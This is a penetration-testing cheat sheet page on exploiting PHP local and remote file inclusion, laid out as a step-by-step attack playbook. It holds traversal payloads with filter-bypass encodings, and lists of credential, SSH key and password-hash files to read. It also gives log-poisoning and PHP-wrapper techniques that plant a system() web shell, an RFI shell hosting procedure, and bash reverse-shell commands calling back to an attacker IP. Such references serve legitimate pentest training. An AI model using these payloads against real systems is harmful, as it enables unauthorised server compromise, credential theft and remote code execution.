OPSECTLAS you are here: Web
Web

File Inclusion (LFI / RFI)

reference 82 commands

  1. Recon
  2. Enumerate
  3. Foothold
  4. PrivEsc
  5. Lateral
  6. Post-Ex

reached from Web injection pointLocal File Inclusion

needsLocal File Inclusion
How it works

File inclusion vulnerabilities occur when an application dynamically includes files based on user-supplied input without proper validation. In PHP, functions like include(), require(), include_once(), and require_once() are commonly vulnerable. LFI (Local File Inclusion) allows reading local server files. RFI (Remote File Inclusion) allows including and executing code from a remote URL (requires allow_url_include=On). Both can lead to full RCE through various techniques.

LFI Payload List

Basic path traversal

../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

Absolute path (when relative doesn't work)

/etc/passwd

Filter bypass · nested traversal (filter removes ../ but doesn't loop)

....//....//....//etc/passwd
....\/....\/....\/etc/passwd

URL encoding

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd

Double URL encoding

%252e%252e%252fetc%252fpasswd
..%252f..%252fetc%252fpasswd

Null byte · PHP < 5.3.4 (appended extension gets cut)

../../../etc/passwd%00
../../../etc/passwd%00.php
../../../etc/passwd\0

UTF-8 encoding

%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Windows path traversal

..\..\..\..\Windows\win.ini
..\..\..\Windows\win.ini
..\\..\\..\Windows\win.ini
Interesting Linux Files
/etc/passwd                          # User accounts · always try first
/etc/shadow                          # Hashed passwords (requires root)
/etc/group                           # Group memberships
/etc/hostname                        # Hostname
/etc/hosts                           # Local DNS entries
/proc/self/environ                   # Environment variables · often has HTTP_USER_AGENT
/proc/self/cmdline                   # Current process command line
/proc/net/tcp                        # Open TCP connections
/proc/self/status                    # Process info including UID
/var/log/apache2/access.log          # Apache access log · log poisoning
/var/log/apache2/error.log           # Apache error log
/var/log/nginx/access.log            # Nginx access log
/var/log/auth.log                    # SSH and auth events
/var/mail/www-data                   # Web server mail
/home/<USER>/.bash_history           # Shell history
/home/<USER>/.ssh/id_rsa             # SSH private key
/home/<USER>/.ssh/authorized_keys    # Authorized SSH public keys
/var/www/html/wp-config.php          # WordPress credentials
/var/www/html/config.php             # Web app credentials
/var/www/html/.env                   # Laravel / modern PHP creds
/etc/apache2/apache2.conf            # Apache config
/etc/nginx/nginx.conf                # Nginx config
/etc/mysql/my.cnf                    # MySQL config
/etc/php/php.ini                     # PHP config
/proc/self/fd/1                      # Standard output
/proc/self/fd/2                      # Standard error
Interesting Windows Files
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini
C:\Windows\repair\SAM
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\repair\SYSTEM
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml

C:\inetpub\wwwroot\web.config

C:\inetpub\wwwroot\global.asax

C:\xampp\apache\conf\httpd.conf

C:\xampp\passwords.txt
C:\wamp\passwords.txt
C:\Users\Administrator\Desktop\proof.txt
C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Log Poisoning → RCE
Works when

You can confirm LFI reads an Apache/Nginx access log AND the server executes PHP.

Step 1: Confirm you can read the access log
?page=/var/log/apache2/access.log

You should see: IP - - [date] "GET / HTTP/1.1" 200 ...

Step 2: Inject PHP code into the log via User-Agent header
curl -s http://<TARGET>/ -H 'User-Agent: <?php system($_GET["cmd"]); ?>'

Or via Burp Repeater: modify User-Agent field

Step 3: Trigger execution via LFI
?page=/var/log/apache2/access.log&cmd=id
?page=/var/log/apache2/access.log&cmd=whoami
?page=/var/log/apache2/access.log&cmd=cat+/etc/passwd
Step 4: Get reverse shell

URL-encoded bash reverse shell:

?page=/var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<YOUR-IP>/4444+0>%261'

Alternative log files for poisoning:

/var/log/nginx/access.log

/var/log/auth.log → inject PHP via SSH username: ssh '

<?php system($_GET["cmd"]); ?>

'@<TARGET>

/proc/self/environ → inject via User-Agent, trigger with ?page=/proc/self/environ&cmd=id

PHP Wrappers

php://filter · read any PHP file's source code (base64 encoded)

?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/read=convert.base64-encode/resource=config.php

Decode the output: echo "BASE64..." | base64 -d

Read without encoding (if not PHP that would execute)

?page=php://filter/resource=/etc/passwd

php://input · POST body executed as PHP

In Burp: change method to POST, set body to PHP code

URL: ?page=php://input

Body:

<?php system('id'); ?>

Body:

<?php system($_GET['cmd']); ?>

data:// · inline PHP execution

?page=data://text/plain,<?php system('id')?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

Decode check: echo "PD9waHAgc3lzdGVtKCdpZCcpOz8+" | base64 -d

=

<?php system('id');?>

expect:// · direct command (only if expect extension loaded)

?page=expect://id
?page=expect://whoami

zip:// · execute code from a zip file

Create zip with PHP file inside:

echo "<?php system(\$_GET['cmd']); ?>" > shell.php
zip shell.zip shell.php

Upload zip via file upload

?page=zip:///var/www/html/uploads/shell.zip%23shell&cmd=id

phar:// · similar to zip

?page=phar:///path/to/file.phar/shell.php
RFI Exploitation

Check if RFI is enabled (php.ini must have allow_url_include = On)

Much rarer in modern PHP (disabled by default)

Step 1: Create remote PHP file on your server
echo '<?php system($_GET["cmd"]); ?>' > /tmp/rfi_shell.php
cd /tmp && python3 -m http.server 8080
Step 2: Trigger RFI
?page=http://<YOUR-IP>:8080/rfi_shell.php
?page=http://<YOUR-IP>:8080/rfi_shell.php&cmd=id
Step 3: Get reverse shell
?page=http://<YOUR-IP>:8080/rfi_shell.php&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<YOUR-IP>/4444+0>%261'

SMB RFI (Windows targets · try when HTTP doesn't work)

Start: impacket-smbserver share /tmp/share -smb2support

?page=\\<YOUR-IP>\share\shell.php

Null byte bypass for RFI

?page=http://<YOUR-IP>/shell.php%00
connected
in OWASP